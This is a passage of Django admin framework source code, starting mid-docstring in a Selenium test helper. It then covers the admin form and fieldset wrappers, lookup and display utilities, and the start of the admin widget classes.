        Block until `num_windows` are present (usually 2, but can be
        overridden in the case of pop-ups opening other pop-ups).
        """
        self.wait_until(lambda d: len(d.window_handles) == num_windows, timeout)

    def wait_for(self, css_selector, timeout=10):
        """
        Helper function that blocks until a CSS selector is found on the page.
        """
        from selenium.webdriver.common.by import By
        from selenium.webdriver.support import expected_conditions as ec
        self.wait_until(
            ec.presence_of_element_located((By.CSS_SELECTOR, css_selector)),
            timeout
        )

    def wait_for_text(self, css_selector, text, timeout=10):
        """
        Helper function that blocks until the text is found in the CSS selector.
        """
        from selenium.webdriver.common.by import By
        from selenium.webdriver.support import expected_conditions as ec
        self.wait_until(
            ec.text_to_be_present_in_element(
                (By.CSS_SELECTOR, css_selector), text),
            timeout
        )

    def wait_for_value(self, css_selector, text, timeout=10):
        """
        Helper function that blocks until the value is found in the CSS selector.
        """
        from selenium.webdriver.common.by import By
        from selenium.webdriver.support import expected_conditions as ec
        self.wait_until(
            ec.text_to_be_present_in_element_value(
                (By.CSS_SELECTOR, css_selector), text),
            timeout
        )

    def wait_until_visible(self, css_selector, timeout=10):
        """
        Block until the element described by the CSS selector is visible.
        """
        from selenium.webdriver.common.by import By
        from selenium.webdriver.support import expected_conditions as ec
        self.wait_until(
            ec.visibility_of_element_located((By.CSS_SELECTOR, css_selector)),
            timeout
        )

    def wait_until_invisible(self, css_selector, timeout=10):
        """
        Block until the element described by the CSS selector is invisible.
        """
        from selenium.webdriver.common.by import By
        from selenium.webdriver.support import expected_conditions as ec
        self.wait_until(
            ec.invisibility_of_element_located((By.CSS_SELECTOR, css_selector)),
            timeout
        )

    def wait_page_loaded(self):
        """
        Block until page has started to load.
        """
        from selenium.common.exceptions import TimeoutException
        try:
            # Wait for the next page to be loaded
            self.wait_for('body')
        except TimeoutException:
            # IE7 occasionally returns an error "Internet Explorer cannot
            # display the webpage" and doesn't load the next page. We just
            # ignore it.
            pass

    def admin_login(self, username, password, login_url='/admin/'):
        """
        Helper function to log into the admin.
        """
        self.selenium.get('%s%s' % (self.live_server_url, login_url))
        username_input = self.selenium.find_element_by_name('username')
        username_input.send_keys(username)
        password_input = self.selenium.find_element_by_name('password')
        password_input.send_keys(password)
        login_text = _('Log in')
        self.selenium.find_element_by_xpath(
            '//input[@value="%s"]' % login_text).click()
        self.wait_page_loaded()

    def get_css_value(self, selector, attribute):
        """
        Helper function that returns the value for the CSS attribute of an
        DOM element specified by the given selector. Uses the jQuery that ships
        with Django.
        """
        return self.selenium.execute_script(
            'return django.jQuery("%s").css("%s")' % (selector, attribute))

    def get_select_option(self, selector, value):
        """
        Returns the <OPTION> with the value `value` inside the <SELECT> widget
        identified by the CSS selector `selector`.
        """
        from selenium.common.exceptions import NoSuchElementException
        options = self.selenium.find_elements_by_css_selector('%s > option' % selector)
        for option in options:
            if option.get_attribute('value') == value:
                return option
        raise NoSuchElementException('Option "%s" not found in "%s"' % (value, selector))

    def _assertOptionsValues(self, options_selector, values):
        if values:
            options = self.selenium.find_elements_by_css_selector(options_selector)
            actual_values = []
            for option in options:
                actual_values.append(option.get_attribute('value'))
            self.assertEqual(values, actual_values)
        else:
            # Prevent the `find_elements_by_css_selector` call from blocking
            # if the selector doesn't match any options as we expect it
            # to be the case.
            with self.disable_implicit_wait():
                self.wait_until(
                    lambda driver: len(driver.find_elements_by_css_selector(options_selector)) == 0
                )

    def assertSelectOptions(self, selector, values):
        """
        Asserts that the <SELECT> widget identified by `selector` has the
        options with the given `values`.
        """
        self._assertOptionsValues("%s > option" % selector, values)

    def assertSelectedOptions(self, selector, values):
        """
        Asserts that the <SELECT> widget identified by `selector` has the
        selected options with the given `values`.
        """
        self._assertOptionsValues("%s > option:checked" % selector, values)

    def has_css_class(self, selector, klass):
        """
        Returns True if the element identified by `selector` has the CSS class
        `klass`.
        """
        return (self.selenium.find_element_by_css_selector(selector)
                .get_attribute('class').find(klass) != -1)






from __future__ import unicode_literals

import json
import warnings

from django import forms
from django.conf import settings
from django.contrib.admin.utils import (
    display_for_field, flatten_fieldsets, help_text_for_field, label_for_field,
    lookup_field,
)
from django.core.exceptions import ObjectDoesNotExist
from django.db.models.fields.related import ManyToManyRel
from django.forms.utils import flatatt
from django.template.defaultfilters import capfirst, linebreaksbr
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text, smart_text
from django.utils.html import conditional_escape, format_html
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext, ugettext_lazy as _

ACTION_CHECKBOX_NAME = '_selected_action'


class ActionForm(forms.Form):
    action = forms.ChoiceField(label=_('Action:'))
    select_across = forms.BooleanField(
        label='',
        required=False,
        initial=0,
        widget=forms.HiddenInput({'class': 'select-across'}),
    )

checkbox = forms.CheckboxInput({'class': 'action-select'}, lambda value: False)


class AdminForm(object):
    def __init__(self, form, fieldsets, prepopulated_fields, readonly_fields=None, model_admin=None):
        self.form, self.fieldsets = form, fieldsets
        self.prepopulated_fields = [{
            'field': form[field_name],
            'dependencies': [form[f] for f in dependencies]
        } for field_name, dependencies in prepopulated_fields.items()]
        self.model_admin = model_admin
        if readonly_fields is None:
            readonly_fields = ()
        self.readonly_fields = readonly_fields

    def __iter__(self):
        for name, options in self.fieldsets:
            yield Fieldset(
                self.form, name,
                readonly_fields=self.readonly_fields,
                model_admin=self.model_admin,
                **options
            )

    def _media(self):
        media = self.form.media
        for fs in self:
            media = media + fs.media
        return media
    media = property(_media)


class Fieldset(object):
    def __init__(self, form, name=None, readonly_fields=(), fields=(), classes=(),
                 description=None, model_admin=None):
        self.form = form
        self.name, self.fields = name, fields
        self.classes = ' '.join(classes)
        self.description = description
        self.model_admin = model_admin
        self.readonly_fields = readonly_fields

    def _media(self):
        if 'collapse' in self.classes:
            extra = '' if settings.DEBUG else '.min'
            js = [
                'vendor/jquery/jquery%s.js' % extra,
                'jquery.init.js',
                'collapse%s.js' % extra,
            ]
            return forms.Media(js=['admin/js/%s' % url for url in js])
        return forms.Media()
    media = property(_media)

    def __iter__(self):
        for field in self.fields:
            yield Fieldline(self.form, field, self.readonly_fields, model_admin=self.model_admin)


class Fieldline(object):
    def __init__(self, form, field, readonly_fields=None, model_admin=None):
        self.form = form  # A django.forms.Form instance
        if not hasattr(field, "__iter__") or isinstance(field, six.text_type):
            self.fields = [field]
        else:
            self.fields = field
        self.has_visible_field = not all(
            field in self.form.fields and self.form.fields[field].widget.is_hidden
            for field in self.fields
        )
        self.model_admin = model_admin
        if readonly_fields is None:
            readonly_fields = ()
        self.readonly_fields = readonly_fields

    def __iter__(self):
        for i, field in enumerate(self.fields):
            if field in self.readonly_fields:
                yield AdminReadonlyField(self.form, field, is_first=(i == 0), model_admin=self.model_admin)
            else:
                yield AdminField(self.form, field, is_first=(i == 0))

    def errors(self):
        return mark_safe(
            '\n'.join(
                self.form[f].errors.as_ul() for f in self.fields if f not in self.readonly_fields
            ).strip('\n')
        )


class AdminField(object):
    def __init__(self, form, field, is_first):
        self.field = form[field]  # A django.forms.BoundField instance
        self.is_first = is_first  # Whether this field is first on the line
        self.is_checkbox = isinstance(self.field.field.widget, forms.CheckboxInput)
        self.is_readonly = False

    def label_tag(self):
        classes = []
        contents = conditional_escape(force_text(self.field.label))
        if self.is_checkbox:
            classes.append('vCheckboxLabel')

        if self.field.field.required:
            classes.append('required')
        if not self.is_first:
            classes.append('inline')
        attrs = {'class': ' '.join(classes)} if classes else {}
        # checkboxes should not have a label suffix as the checkbox appears
        # to the left of the label.
        return self.field.label_tag(
            contents=mark_safe(contents), attrs=attrs,
            label_suffix='' if self.is_checkbox else None,
        )

    def errors(self):
        return mark_safe(self.field.errors.as_ul())


class AdminReadonlyField(object):
    def __init__(self, form, field, is_first, model_admin=None):
        # Make self.field look a little bit like a field. This means that
        # {{ field.name }} must be a useful class name to identify the field.
        # For convenience, store other field-related data here too.
        if callable(field):
            class_name = field.__name__ if field.__name__ != '<lambda>' else ''
        else:
            class_name = field

        if form._meta.labels and class_name in form._meta.labels:
            label = form._meta.labels[class_name]
        else:
            label = label_for_field(field, form._meta.model, model_admin)

        if form._meta.help_texts and class_name in form._meta.help_texts:
            help_text = form._meta.help_texts[class_name]
        else:
            help_text = help_text_for_field(class_name, form._meta.model)

        self.field = {
            'name': class_name,
            'label': label,
            'help_text': help_text,
            'field': field,
        }
        self.form = form
        self.model_admin = model_admin
        self.is_first = is_first
        self.is_checkbox = False
        self.is_readonly = True
        self.empty_value_display = model_admin.get_empty_value_display()

    def label_tag(self):
        attrs = {}
        if not self.is_first:
            attrs["class"] = "inline"
        label = self.field['label']
        return format_html('<label{}>{}:</label>',
                           flatatt(attrs),
                           capfirst(force_text(label)))

    def contents(self):
        from django.contrib.admin.templatetags.admin_list import _boolean_icon
        field, obj, model_admin = self.field['field'], self.form.instance, self.model_admin
        try:
            f, attr, value = lookup_field(field, obj, model_admin)
        except (AttributeError, ValueError, ObjectDoesNotExist):
            result_repr = self.empty_value_display
        else:
            if f is None:
                boolean = getattr(attr, "boolean", False)
                if boolean:
                    result_repr = _boolean_icon(value)
                else:
                    if hasattr(value, "__html__"):
                        result_repr = value
                    else:
                        result_repr = smart_text(value)
                        if getattr(attr, "allow_tags", False):
                            warnings.warn(
                                "Deprecated allow_tags attribute used on %s. "
                                "Use django.utils.safestring.format_html(), "
                                "format_html_join(), or mark_safe() instead." % attr,
                                RemovedInDjango20Warning
                            )
                            result_repr = mark_safe(value)
                        else:
                            result_repr = linebreaksbr(result_repr)
            else:
                if isinstance(f.remote_field, ManyToManyRel) and value is not None:
                    result_repr = ", ".join(map(six.text_type, value.all()))
                else:
                    result_repr = display_for_field(value, f, self.empty_value_display)
                result_repr = linebreaksbr(result_repr)
        return conditional_escape(result_repr)


class InlineAdminFormSet(object):
    """
    A wrapper around an inline formset for use in the admin system.
    """
    def __init__(self, inline, formset, fieldsets, prepopulated_fields=None,
                 readonly_fields=None, model_admin=None):
        self.opts = inline
        self.formset = formset
        self.fieldsets = fieldsets
        self.model_admin = model_admin
        if readonly_fields is None:
            readonly_fields = ()
        self.readonly_fields = readonly_fields
        if prepopulated_fields is None:
            prepopulated_fields = {}
        self.prepopulated_fields = prepopulated_fields
        self.classes = ' '.join(inline.classes) if inline.classes else ''

    def __iter__(self):
        for form, original in zip(self.formset.initial_forms, self.formset.get_queryset()):
            view_on_site_url = self.opts.get_view_on_site_url(original)
            yield InlineAdminForm(
                self.formset, form, self.fieldsets, self.prepopulated_fields,
                original, self.readonly_fields, model_admin=self.opts,
                view_on_site_url=view_on_site_url,
            )
        for form in self.formset.extra_forms:
            yield InlineAdminForm(
                self.formset, form, self.fieldsets, self.prepopulated_fields,
                None, self.readonly_fields, model_admin=self.opts,
            )
        yield InlineAdminForm(
            self.formset, self.formset.empty_form,
            self.fieldsets, self.prepopulated_fields, None,
            self.readonly_fields, model_admin=self.opts,
        )

    def fields(self):
        fk = getattr(self.formset, "fk", None)
        for i, field_name in enumerate(flatten_fieldsets(self.fieldsets)):
            if fk and fk.name == field_name:
                continue
            if field_name in self.readonly_fields:
                yield {
                    'label': label_for_field(field_name, self.opts.model, self.opts),
                    'widget': {'is_hidden': False},
                    'required': False,
                    'help_text': help_text_for_field(field_name, self.opts.model),
                }
            else:
                form_field = self.formset.empty_form.fields[field_name]
                label = form_field.label
                if label is None:
                    label = label_for_field(field_name, self.opts.model, self.opts)
                yield {
                    'label': label,
                    'widget': form_field.widget,
                    'required': form_field.required,
                    'help_text': form_field.help_text,
                }

    def inline_formset_data(self):
        verbose_name = self.opts.verbose_name
        return json.dumps({
            'name': '#%s' % self.formset.prefix,
            'options': {
                'prefix': self.formset.prefix,
                'addText': ugettext('Add another %(verbose_name)s') % {
                    'verbose_name': capfirst(verbose_name),
                },
                'deleteText': ugettext('Remove'),
            }
        })

    def _media(self):
        media = self.opts.media + self.formset.media
        for fs in self:
            media = media + fs.media
        return media
    media = property(_media)


class InlineAdminForm(AdminForm):
    """
    A wrapper around an inline form for use in the admin system.
    """
    def __init__(self, formset, form, fieldsets, prepopulated_fields, original,
                 readonly_fields=None, model_admin=None, view_on_site_url=None):
        self.formset = formset
        self.model_admin = model_admin
        self.original = original
        self.show_url = original and view_on_site_url is not None
        self.absolute_url = view_on_site_url
        super(InlineAdminForm, self).__init__(form, fieldsets, prepopulated_fields, readonly_fields, model_admin)

    def __iter__(self):
        for name, options in self.fieldsets:
            yield InlineFieldset(
                self.formset, self.form, name, self.readonly_fields,
                model_admin=self.model_admin, **options
            )

    def needs_explicit_pk_field(self):
        # Auto fields are editable (oddly), so need to check for auto or non-editable pk
        if self.form._meta.model._meta.has_auto_field or not self.form._meta.model._meta.pk.editable:
            return True
        # Also search any parents for an auto field. (The pk info is propagated to child
        # models so that does not need to be checked in parents.)
        for parent in self.form._meta.model._meta.get_parent_list():
            if parent._meta.has_auto_field:
                return True
        return False

    def pk_field(self):
        return AdminField(self.form, self.formset._pk_field.name, False)

    def fk_field(self):
        fk = getattr(self.formset, "fk", None)
        if fk:
            return AdminField(self.form, fk.name, False)
        else:
            return ""

    def deletion_field(self):
        from django.forms.formsets import DELETION_FIELD_NAME
        return AdminField(self.form, DELETION_FIELD_NAME, False)

    def ordering_field(self):
        from django.forms.formsets import ORDERING_FIELD_NAME
        return AdminField(self.form, ORDERING_FIELD_NAME, False)


class InlineFieldset(Fieldset):
    def __init__(self, formset, *args, **kwargs):
        self.formset = formset
        super(InlineFieldset, self).__init__(*args, **kwargs)

    def __iter__(self):
        fk = getattr(self.formset, "fk", None)
        for field in self.fields:
            if fk and fk.name == field:
                continue
            yield Fieldline(self.form, field, self.readonly_fields, model_admin=self.model_admin)


class AdminErrorList(forms.utils.ErrorList):
    """
    Stores all errors for the form/formsets in an add/change stage view.
    """
    def __init__(self, form, inline_formsets):
        super(AdminErrorList, self).__init__()

        if form.is_bound:
            self.extend(form.errors.values())
            for inline_formset in inline_formsets:
                self.extend(inline_formset.non_form_errors())
                for errors_in_inline_form in inline_formset.errors:
                    self.extend(errors_in_inline_form.values())






from __future__ import unicode_literals

import datetime
import decimal
from collections import defaultdict

from django.contrib.auth import get_permission_codename
from django.core.exceptions import FieldDoesNotExist
from django.db import models
from django.db.models.constants import LOOKUP_SEP
from django.db.models.deletion import Collector
from django.db.models.sql.constants import QUERY_TERMS
from django.forms.utils import pretty_name
from django.urls import NoReverseMatch, reverse
from django.utils import formats, six, timezone
from django.utils.encoding import force_str, force_text, smart_text
from django.utils.html import format_html
from django.utils.text import capfirst
from django.utils.translation import ungettext


class FieldIsAForeignKeyColumnName(Exception):
    """A field is a foreign key attname, i.e. <FK>_id."""
    pass


def lookup_needs_distinct(opts, lookup_path):
    """
    Returns True if 'distinct()' should be used to query the given lookup path.
    """
    lookup_fields = lookup_path.split('__')
    # Remove the last item of the lookup path if it is a query term
    if lookup_fields[-1] in QUERY_TERMS:
        lookup_fields = lookup_fields[:-1]
    # Now go through the fields (following all relations) and look for an m2m
    for field_name in lookup_fields:
        field = opts.get_field(field_name)
        if hasattr(field, 'get_path_info'):
            # This field is a relation, update opts to follow the relation
            path_info = field.get_path_info()
            opts = path_info[-1].to_opts
            if any(path.m2m for path in path_info):
                # This field is a m2m relation so we know we need to call distinct
                return True
    return False


def prepare_lookup_value(key, value):
    """
    Returns a lookup value prepared to be used in queryset filtering.
    """
    # if key ends with __in, split parameter into separate values
    if key.endswith('__in'):
        value = value.split(',')
    # if key ends with __isnull, special case '' and the string literals 'false' and '0'
    if key.endswith('__isnull'):
        if value.lower() in ('', 'false', '0'):
            value = False
        else:
            value = True
    return value


def quote(s):
    """
    Ensure that primary key values do not confuse the admin URLs by escaping
    any '/', '_' and ':' and similarly problematic characters.
    Similar to urllib.quote, except that the quoting is slightly different so
    that it doesn't get automatically unquoted by the Web browser.
    """
    if not isinstance(s, six.string_types):
        return s
    res = list(s)
    for i in range(len(res)):
        c = res[i]
        if c in """:/_#?;@&=+$,"[]<>%\n\\""":
            res[i] = '_%02X' % ord(c)
    return ''.join(res)


def unquote(s):
    """
    Undo the effects of quote(). Based heavily on urllib.unquote().
    """
    mychr = chr
    myatoi = int
    list = s.split('_')
    res = [list[0]]
    myappend = res.append
    del list[0]
    for item in list:
        if item[1:2]:
            try:
                myappend(mychr(myatoi(item[:2], 16)) + item[2:])
            except ValueError:
                myappend('_' + item)
        else:
            myappend('_' + item)
    return "".join(res)


def flatten(fields):
    """Returns a list which is a single level of flattening of the
    original list."""
    flat = []
    for field in fields:
        if isinstance(field, (list, tuple)):
            flat.extend(field)
        else:
            flat.append(field)
    return flat


def flatten_fieldsets(fieldsets):
    """Returns a list of field names from an admin fieldsets structure."""
    field_names = []
    for name, opts in fieldsets:
        field_names.extend(
            flatten(opts['fields'])
        )
    return field_names


def get_deleted_objects(objs, opts, user, admin_site, using):
    """
    Find all objects related to ``objs`` that should also be deleted. ``objs``
    must be a homogeneous iterable of objects (e.g. a QuerySet).

    Returns a nested list of strings suitable for display in the
    template with the ``unordered_list`` filter.
    """
    collector = NestedObjects(using=using)
    collector.collect(objs)
    perms_needed = set()

    def format_callback(obj):
        has_admin = obj.__class__ in admin_site._registry
        opts = obj._meta

        no_edit_link = '%s: %s' % (capfirst(opts.verbose_name),
                                   force_text(obj))

        if has_admin:
            try:
                admin_url = reverse('%s:%s_%s_change'
                                    % (admin_site.name,
                                       opts.app_label,
                                       opts.model_name),
                                    None, (quote(obj._get_pk_val()),))
            except NoReverseMatch:
                # Change url doesn't exist -- don't display link to edit
                return no_edit_link

            p = '%s.%s' % (opts.app_label,
                           get_permission_codename('delete', opts))
            if not user.has_perm(p):
                perms_needed.add(opts.verbose_name)
            # Display a link to the admin page.
            return format_html('{}: <a href="{}">{}</a>',
                               capfirst(opts.verbose_name),
                               admin_url,
                               obj)
        else:
            # Don't display link to edit, because it either has no
            # admin or is edited inline.
            return no_edit_link

    to_delete = collector.nested(format_callback)

    protected = [format_callback(obj) for obj in collector.protected]
    model_count = {model._meta.verbose_name_plural: len(objs) for model, objs in collector.model_objs.items()}

    return to_delete, model_count, perms_needed, protected


class NestedObjects(Collector):
    def __init__(self, *args, **kwargs):
        super(NestedObjects, self).__init__(*args, **kwargs)
        self.edges = {}  # {from_instance: [to_instances]}
        self.protected = set()
        self.model_objs = defaultdict(set)

    def add_edge(self, source, target):
        self.edges.setdefault(source, []).append(target)

    def collect(self, objs, source=None, source_attr=None, **kwargs):
        for obj in objs:
            if source_attr and not source_attr.endswith('+'):
                related_name = source_attr % {
                    'class': source._meta.model_name,
                    'app_label': source._meta.app_label,
                }
                self.add_edge(getattr(obj, related_name), obj)
            else:
                self.add_edge(None, obj)
            self.model_objs[obj._meta.model].add(obj)
        try:
            return super(NestedObjects, self).collect(objs, source_attr=source_attr, **kwargs)
        except models.ProtectedError as e:
            self.protected.update(e.protected_objects)

    def related_objects(self, related, objs):
        qs = super(NestedObjects, self).related_objects(related, objs)
        return qs.select_related(related.field.name)

    def _nested(self, obj, seen, format_callback):
        if obj in seen:
            return []
        seen.add(obj)
        children = []
        for child in self.edges.get(obj, ()):
            children.extend(self._nested(child, seen, format_callback))
        if format_callback:
            ret = [format_callback(obj)]
        else:
            ret = [obj]
        if children:
            ret.append(children)
        return ret

    def nested(self, format_callback=None):
        """
        Return the graph as a nested list.
        """
        seen = set()
        roots = []
        for root in self.edges.get(None, ()):
            roots.extend(self._nested(root, seen, format_callback))
        return roots

    def can_fast_delete(self, *args, **kwargs):
        """
        We always want to load the objects into memory so that we can display
        them to the user in confirm page.
        """
        return False


def model_format_dict(obj):
    """
    Return a `dict` with keys 'verbose_name' and 'verbose_name_plural',
    typically for use with string formatting.

    `obj` may be a `Model` instance, `Model` subclass, or `QuerySet` instance.
    """
    if isinstance(obj, (models.Model, models.base.ModelBase)):
        opts = obj._meta
    elif isinstance(obj, models.query.QuerySet):
        opts = obj.model._meta
    else:
        opts = obj
    return {
        'verbose_name': force_text(opts.verbose_name),
        'verbose_name_plural': force_text(opts.verbose_name_plural)
    }


def model_ngettext(obj, n=None):
    """
    Return the appropriate `verbose_name` or `verbose_name_plural` value for
    `obj` depending on the count `n`.

    `obj` may be a `Model` instance, `Model` subclass, or `QuerySet` instance.
    If `obj` is a `QuerySet` instance, `n` is optional and the length of the
    `QuerySet` is used.
    """
    if isinstance(obj, models.query.QuerySet):
        if n is None:
            n = obj.count()
        obj = obj.model
    d = model_format_dict(obj)
    singular, plural = d["verbose_name"], d["verbose_name_plural"]
    return ungettext(singular, plural, n or 0)


def lookup_field(name, obj, model_admin=None):
    opts = obj._meta
    try:
        f = _get_non_gfk_field(opts, name)
    except (FieldDoesNotExist, FieldIsAForeignKeyColumnName):
        # For non-field values, the value is either a method, property or
        # returned via a callable.
        if callable(name):
            attr = name
            value = attr(obj)
        elif (model_admin is not None and
                hasattr(model_admin, name) and
                not name == '__str__' and
                not name == '__unicode__'):
            attr = getattr(model_admin, name)
            value = attr(obj)
        else:
            attr = getattr(obj, name)
            if callable(attr):
                value = attr()
            else:
                value = attr
        f = None
    else:
        attr = None
        value = getattr(obj, name)
    return f, attr, value


def _get_non_gfk_field(opts, name):
    """
    For historical reasons, the admin app relies on GenericForeignKeys as being
    "not found" by get_field(). This could likely be cleaned up.

    Reverse relations should also be excluded as these aren't attributes of the
    model (rather something like `foo_set`).
    """
    field = opts.get_field(name)
    if (field.is_relation and
            # Generic foreign keys OR reverse relations
            ((field.many_to_one and not field.related_model) or field.one_to_many)):
        raise FieldDoesNotExist()

    # Avoid coercing <FK>_id fields to FK
    if field.is_relation and hasattr(field, 'attname') and field.attname == name:
        raise FieldIsAForeignKeyColumnName()

    return field


def label_for_field(name, model, model_admin=None, return_attr=False):
    """
    Returns a sensible label for a field name. The name can be a callable,
    property (but not created with @property decorator) or the name of an
    object's attribute, as well as a genuine fields. If return_attr is
    True, the resolved attribute (which could be a callable) is also returned.
    This will be None if (and only if) the name refers to a field.
    """
    attr = None
    try:
        field = _get_non_gfk_field(model._meta, name)
        try:
            label = field.verbose_name
        except AttributeError:
            # field is likely a ForeignObjectRel
            label = field.related_model._meta.verbose_name
    except FieldDoesNotExist:
        if name == "__unicode__":
            label = force_text(model._meta.verbose_name)
            attr = six.text_type
        elif name == "__str__":
            label = force_str(model._meta.verbose_name)
            attr = bytes
        else:
            if callable(name):
                attr = name
            elif model_admin is not None and hasattr(model_admin, name):
                attr = getattr(model_admin, name)
            elif hasattr(model, name):
                attr = getattr(model, name)
            else:
                message = "Unable to lookup '%s' on %s" % (name, model._meta.object_name)
                if model_admin:
                    message += " or %s" % (model_admin.__class__.__name__,)
                raise AttributeError(message)

            if hasattr(attr, "short_description"):
                label = attr.short_description
            elif (isinstance(attr, property) and
                  hasattr(attr, "fget") and
                  hasattr(attr.fget, "short_description")):
                label = attr.fget.short_description
            elif callable(attr):
                if attr.__name__ == "<lambda>":
                    label = "--"
                else:
                    label = pretty_name(attr.__name__)
            else:
                label = pretty_name(name)
    except FieldIsAForeignKeyColumnName:
        label = pretty_name(name)
        attr = name

    if return_attr:
        return (label, attr)
    else:
        return label


def help_text_for_field(name, model):
    help_text = ""
    try:
        field = _get_non_gfk_field(model._meta, name)
    except (FieldDoesNotExist, FieldIsAForeignKeyColumnName):
        pass
    else:
        if hasattr(field, 'help_text'):
            help_text = field.help_text
    return smart_text(help_text)


def display_for_field(value, field, empty_value_display):
    from django.contrib.admin.templatetags.admin_list import _boolean_icon

    if getattr(field, 'flatchoices', None):
        return dict(field.flatchoices).get(value, empty_value_display)
    # NullBooleanField needs special-case null-handling, so it comes
    # before the general null test.
    elif isinstance(field, models.BooleanField) or isinstance(field, models.NullBooleanField):
        return _boolean_icon(value)
    elif value is None:
        return empty_value_display
    elif isinstance(field, models.DateTimeField):
        return formats.localize(timezone.template_localtime(value))
    elif isinstance(field, (models.DateField, models.TimeField)):
        return formats.localize(value)
    elif isinstance(field, models.DecimalField):
        return formats.number_format(value, field.decimal_places)
    elif isinstance(field, (models.IntegerField, models.FloatField)):
        return formats.number_format(value)
    elif isinstance(field, models.FileField) and value:
        return format_html('<a href="{}">{}</a>', value.url, value)
    else:
        return display_for_value(value, empty_value_display)


def display_for_value(value, empty_value_display, boolean=False):
    from django.contrib.admin.templatetags.admin_list import _boolean_icon

    if boolean:
        return _boolean_icon(value)
    elif value is None:
        return empty_value_display
    elif isinstance(value, datetime.datetime):
        return formats.localize(timezone.template_localtime(value))
    elif isinstance(value, (datetime.date, datetime.time)):
        return formats.localize(value)
    elif isinstance(value, six.integer_types + (decimal.Decimal, float)):
        return formats.number_format(value)
    elif isinstance(value, (list, tuple)):
        return ', '.join(force_text(v) for v in value)
    else:
        return smart_text(value)


class NotRelationField(Exception):
    pass


def get_model_from_relation(field):
    if hasattr(field, 'get_path_info'):
        return field.get_path_info()[-1].to_opts.model
    else:
        raise NotRelationField


def reverse_field_path(model, path):
    """ Create a reversed field path.

    E.g. Given (Order, "user__groups"),
    return (Group, "user__order").

    Final field must be a related model, not a data field.
    """
    reversed_path = []
    parent = model
    pieces = path.split(LOOKUP_SEP)
    for piece in pieces:
        field = parent._meta.get_field(piece)
        # skip trailing data field if extant:
        if len(reversed_path) == len(pieces) - 1:  # final iteration
            try:
                get_model_from_relation(field)
            except NotRelationField:
                break

        # Field should point to another model
        if field.is_relation and not (field.auto_created and not field.concrete):
            related_name = field.related_query_name()
            parent = field.remote_field.model
        else:
            related_name = field.field.name
            parent = field.related_model
        reversed_path.insert(0, related_name)
    return (parent, LOOKUP_SEP.join(reversed_path))


def get_fields_from_path(model, path):
    """ Return list of Fields given path relative to model.

    e.g. (ModelX, "user__groups__name") -> [
        <django.db.models.fields.related.ForeignKey object at 0x...>,
        <django.db.models.fields.related.ManyToManyField object at 0x...>,
        <django.db.models.fields.CharField object at 0x...>,
    ]
    """
    pieces = path.split(LOOKUP_SEP)
    fields = []
    for piece in pieces:
        if fields:
            parent = get_model_from_relation(fields[-1])
        else:
            parent = model
        fields.append(parent._meta.get_field(piece))
    return fields


def remove_trailing_data_field(fields):
    """ Discard trailing non-relation field if extant. """
    try:
        get_model_from_relation(fields[-1])
    except NotRelationField:
        fields = fields[:-1]
    return fields






"""
Form Widget classes specific to the Django admin site.
"""
from __future__ import unicode_literals

import copy

from django import forms
from django.db.models.deletion import CASCADE
from django.forms.utils import flatatt
from django.forms.widgets import RadioFieldRenderer
from django.template.loader import render_to_string
from django.urls import reverse
from django.urls.exceptions import NoReverseMatch
from django.utils import six
from django.utils.encoding import force_text
from django.utils.html import format_html, format_html_join, smart_urlquote
from django.utils.safestring import mark_safe
from django.utils.text import Truncator
from django.utils.translation import ugettext as _


class FilteredSelectMultiple(forms.SelectMultiple):
    """
    A SelectMultiple with a JavaScript filter interface.

    Note that the resulting JavaScript assumes that the jsi18n
    catalog has been loaded in the page
    """
    @property
    def media(self):
        js = ["core.js", "SelectBox.js", "SelectFilter2.js"]
        return forms.Media(js=["admin/js/%s" % path for path in js])

    def __init__(self, verbose_name, is_stacked, attrs=None, choices=()):
        self.verbose_name = verbose_name
        self.is_stacked = is_stacked
        super(FilteredSelectMultiple, self).__init__(attrs, choices)

    def render(self, name, value, attrs=None):
        if attrs is None:
            attrs = {}
        attrs['class'] = 'selectfilter'
        if self.is_stacked:
            attrs['class'] += 'stacked'

        attrs['data-field-name'] = self.verbose_name
        attrs['data-is-stacked'] = int(self.is_stacked)
        output = super(FilteredSelectMultiple, self).render(name, value, attrs)
        return mark_safe(output)


class AdminDateWidget(forms.DateInput):
    @property
    def media(self):
        js = ["calendar.js", "admin/DateTimeShortcuts.js"]
        return forms.Media(js=["admin/js/%s" % path for path in js])

    def __init__(self, attrs=None, format=None):
        final_attrs = {'class': 'vDateField', 'size': '10'}
        if attrs is not None:
            final_attrs.update(attrs)
        super(AdminDateWidget, self).__init__(attrs=final_attrs, format=format)


class AdminTimeWidget(forms.TimeInput):
    @property
    def media(self):
        js = ["calendar.js", "admin/DateTimeShortcuts.js"]
        return forms.Media(js=["admin/js/%s" % path for path in js])

    def __init__(self, attrs=None, format=None):
        final_attrs = {'class': 'vTimeField', 'size': '8'}
        if attrs is not None:
            final_attrs.update(attrs)
        super(AdminTimeWidget, self).__init__(attrs=final_attrs, format=format)


class AdminSplitDateTime(forms.SplitDateTimeWidget):
    """
    A SplitDateTime Widget that has some admin-specific styling.
    """
    def __init__(self, attrs=None):
        widgets = [AdminDateWidget, AdminTimeWidget]
        # Note that we're calling MultiWidget, not SplitDateTimeWidget, because
        # we want to define widgets.
        forms.MultiWidget.__init__(self, widgets, attrs)

    def format_output(self, rendered_widgets):
        return format_html('<p class="datetime">{} {}<br />{} {}</p>',
                           _('Date:'), rendered_widgets[0],
                           _('Time:'), rendered_widgets[1])


class AdminRadioFieldRenderer(RadioFieldRenderer):
    def render(self):
        """Outputs a <ul> for this set of radio fields."""
        return format_html('<ul{}>\n{}\n</ul>',
                           flatatt(self.attrs),
                           format_html_join('\n', '<li>{}</li>',
                                            ((force_text(w),) for w in self)))


class AdminRadioSelect(forms.RadioSelect):
    renderer = AdminRadioFieldRenderer


class AdminFileWidget(forms.ClearableFileInput):
    template_with_initial = (
        '<p class="file-upload">%s</p>' % forms.ClearableFileInput.template_with_initial
    )
    template_with_clear = (
        '<span class="clearable-file-input">%s</span>' % forms.ClearableFileInput.template_with_clear
    )


def url_params_from_lookup_dict(lookups):
    """
    Converts the type of lookups specified in a ForeignKey limit_choices_to
    attribute to a dictionary of query parameters
    """
    params = {}
    if lookups and hasattr(lookups, 'items'):
        items = []
        for k, v in lookups.items():
            if callable(v):
                v = v()
            if isinstance(v, (tuple, list)):
                v = ','.join(str(x) for x in v)
            elif isinstance(v, bool):
                v = ('0', '1')[v]
            else:
                v = six.text_type(v)
            items.append((k, v))
        params.update(dict(items))
    return params


